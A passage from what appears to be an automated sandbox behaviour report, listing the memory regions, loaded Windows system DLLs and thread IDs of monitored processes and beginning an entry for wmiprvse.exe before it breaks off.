end_va = 0x7fefbd7bfff monitored = 0 entry_point = 0x7fefbd718a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1291 start_va = 0x7fefbd80000 end_va = 0x7fefbd95fff monitored = 0 entry_point = 0x7fefbd811a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1292 start_va = 0x7fefbeb0000 end_va = 0x7fefbec0fff monitored = 0 entry_point = 0x7fefbeb1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1293 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1294 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1295 start_va = 0x7fefc4e0000 end_va = 0x7fefc60bfff monitored = 0 entry_point = 0x7fefc4e94bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1296 start_va = 0x7fefc610000 end_va = 0x7fefc62cfff monitored = 0 entry_point = 0x7fefc611ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1297 start_va = 0x7fefc660000 end_va = 0x7fefc853fff monitored = 0 entry_point = 0x7fefc7ec924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1298 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1299 start_va = 0x7fefcd00000 end_va = 0x7fefcdbafff monitored = 0 entry_point = 0x7fefcd06de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1300 start_va = 0x7fefcdc0000 end_va = 0x7fefcdc6fff monitored = 0 entry_point = 0x7fefcdc14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1301 start_va = 0x7fefceb0000 end_va = 0x7fefcecafff monitored = 0 entry_point = 0x7fefceb2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1302 start_va = 0x7fefced0000 end_va = 0x7fefceedfff monitored = 0 entry_point = 0x7fefced13b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1303 start_va = 0x7fefcef0000 end_va = 0x7fefcf01fff monitored = 0 entry_point = 0x7fefcef1060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1304 start_va = 0x7fefcf10000 end_va = 0x7fefcf2efff monitored = 0 entry_point = 0x7fefcf15c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1305 start_va = 0x7fefcfe0000 end_va = 0x7fefd018fff monitored = 0 entry_point = 0x7fefcfec0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1306 start_va = 0x7fefd020000 end_va = 0x7fefd029fff monitored = 0 entry_point = 0x7fefd023cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1307 start_va = 0x7fefd030000 end_va = 0x7fefd03cfff monitored = 0 entry_point = 0x7fefd031348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1308 start_va = 0x7fefd120000 end_va = 0x7fefd166fff monitored = 0 entry_point = 0x7fefd121064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1309 start_va = 0x7fefd210000 end_va = 0x7fefd23ffff monitored = 0 entry_point = 0x7fefd21194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1310 start_va = 0x7fefd240000 end_va = 0x7fefd29afff monitored = 0 entry_point = 0x7fefd246940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1311 start_va = 0x7fefd3b0000 end_va = 0x7fefd3b6fff monitored = 0 entry_point = 0x7fefd3b142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1312 start_va = 0x7fefd3c0000 end_va = 0x7fefd414fff monitored = 0 entry_point = 0x7fefd3c1054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1313 start_va = 0x7fefd420000 end_va = 0x7fefd437fff monitored = 0 entry_point = 0x7fefd423b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1314 start_va = 0x7fefd530000 end_va = 0x7fefd561fff monitored = 0 entry_point = 0x7fefd53144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1315 start_va = 0x7fefd570000 end_va = 0x7fefd577fff monitored = 0 entry_point = 0x7fefd572a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1316 start_va = 0x7fefd580000 end_va = 0x7fefd589fff monitored = 0 entry_point = 0x7fefd583b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1317 start_va = 0x7fefd590000 end_va = 0x7fefd5b1fff monitored = 0 entry_point = 0x7fefd595d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1318 start_va = 0x7fefd610000 end_va = 0x7fefd63efff monitored = 0 entry_point = 0x7fefd611064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1319 start_va = 0x7fefd650000 end_va = 0x7fefd6bcfff monitored = 0 entry_point = 0x7fefd651010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1320 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d3fff monitored = 0 entry_point = 0x7fefd6c4160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1321 start_va = 0x7fefd920000 end_va = 0x7fefd942fff monitored = 0 entry_point = 0x7fefd921198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1322 start_va = 0x7fefd9c0000 end_va = 0x7fefd9cafff monitored = 0 entry_point = 0x7fefd9c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1323 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1324 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1325 start_va = 0x7fefda30000 end_va = 0x7fefdac0fff monitored = 0 entry_point = 0x7fefda31440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1326 start_va = 0x7fefdad0000 end_va = 0x7fefdb0cfff monitored = 0 entry_point = 0x7fefdad18f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1327 start_va = 0x7fefdb10000 end_va = 0x7fefdb23fff monitored = 0 entry_point = 0x7fefdb110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1328 start_va = 0x7fefdb30000 end_va = 0x7fefdb3efff monitored = 0 entry_point = 0x7fefdb319b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1329 start_va = 0x7fefdbd0000 end_va = 0x7fefdbdefff monitored = 0 entry_point = 0x7fefdbd1020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1330 start_va = 0x7fefdbe0000 end_va = 0x7fefdc1afff monitored = 0 entry_point = 0x7fefdbe1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1331 start_va = 0x7fefdc20000 end_va = 0x7fefdc39fff monitored = 0 entry_point = 0x7fefdc21558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1332 start_va = 0x7fefdc40000 end_va = 0x7fefddacfff monitored = 0 entry_point = 0x7fefdc410b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1333 start_va = 0x7fefddb0000 end_va = 0x7fefdde5fff monitored = 0 entry_point = 0x7fefddb1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1334 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1335 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1336 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1337 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1338 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1339 start_va = 0x7fefe1e0000 end_va = 0x7fefe3b6fff monitored = 0 entry_point = 0x7fefe1e1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1340 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1341 start_va = 0x7fefe4e0000 end_va = 0x7feff267fff monitored = 0 entry_point = 0x7fefe55cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1342 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1343 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1344 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1345 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1346 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1347 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1348 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1349 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1350 start_va = 0x7feffad0000 end_va = 0x7feffb21fff monitored = 0 entry_point = 0x7feffad10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1351 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1352 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1353 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1354 start_va = 0x7fffff54000 end_va = 0x7fffff55fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1355 start_va = 0x7fffff56000 end_va = 0x7fffff57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 1356 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1357 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 1358 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1359 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1360 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1361 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1362 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1363 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1364 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1365 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1366 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1367 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1368 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1369 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1370 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1371 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1372 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1373 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1374 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1375 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1376 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1377 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1378 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1379 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1380 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1381 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1382 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1383 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1384 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1385 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1386 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1387 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1388 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1389 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1390 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1391 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1392 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1393 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1394 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1395 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1396 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1397 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1398 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1399 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1400 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1401 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1402 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1403 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6564 start_va = 0xa30000 end_va = 0xa31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 6565 start_va = 0x2300000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 6566 start_va = 0x28b0000 end_va = 0x292ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Thread: id = 29 os_tid = 0xdd0 Thread: id = 30 os_tid = 0xdcc Thread: id = 31 os_tid = 0xc70 Thread: id = 32 os_tid = 0xc58 Thread: id = 33 os_tid = 0xc30 Thread: id = 34 os_tid = 0x4ec Thread: id = 35 os_tid = 0x118 Thread: id = 36 os_tid = 0x274 Thread: id = 37 os_tid = 0x768 Thread: id = 38 os_tid = 0x6b4 Thread: id = 39 os_tid = 0x71c Thread: id = 40 os_tid = 0x38c Thread: id = 41 os_tid = 0x6d8 Thread: id = 42 os_tid = 0x784 Thread: id = 43 os_tid = 0x7b0 Thread: id = 44 os_tid = 0x340 Thread: id = 45 os_tid = 0x7c0 Thread: id = 46 os_tid = 0x304 Thread: id = 47 os_tid = 0x6cc Thread: id = 48 os_tid = 0x5e4 Thread: id = 49 os_tid = 0x124 Thread: id = 50 os_tid = 0x650 Thread: id = 51 os_tid = 0x4a4 Thread: id = 52 os_tid = 0x1e4 Thread: id = 53 os_tid = 0x234 Thread: id = 54 os_tid = 0x310 Thread: id = 55 os_tid = 0x314 Thread: id = 56 os_tid = 0x758 Thread: id = 57 os_tid = 0x2b4 Thread: id = 58 os_tid = 0x140 Thread: id = 59 os_tid = 0x39c Thread: id = 60 os_tid = 0x6ec Thread: id = 61 os_tid = 0x644 Thread: id = 62 os_tid = 0x618 Thread: id = 63 os_tid = 0x604 Thread: id = 64 os_tid = 0x5e0 Thread: id = 65 os_tid = 0x5d0 Thread: id = 66 os_tid = 0x448 Thread: id = 67 os_tid = 0x444 Thread: id = 68 os_tid = 0x414 Thread: id = 69 os_tid = 0x294 Thread: id = 70 os_tid = 0x440 Thread: id = 71 os_tid = 0x43c Thread: id = 72 os_tid = 0x434 Thread: id = 73 os_tid = 0x3f8 Thread: id = 74 os_tid = 0x3f0 Thread: id = 75 os_tid = 0x3e4 Thread: id = 76 os_tid = 0x378 Thread: id = 77 os_tid = 0x370 Thread: id = 95 os_tid = 0xec0 Thread: id = 273 os_tid = 0xd5c Thread: id = 275 os_tid = 0xe2c Thread: id = 297 os_tid = 0xcc Process: id = "6" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x45301000" os_pid = "0xa54" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00049a8e" [0xc000000f] Region: id = 1408 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1409 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1410 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1411 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1412 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1413 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1414 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1415 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1416 start_va = 0x250000 end_va = 0x254fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1417 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = 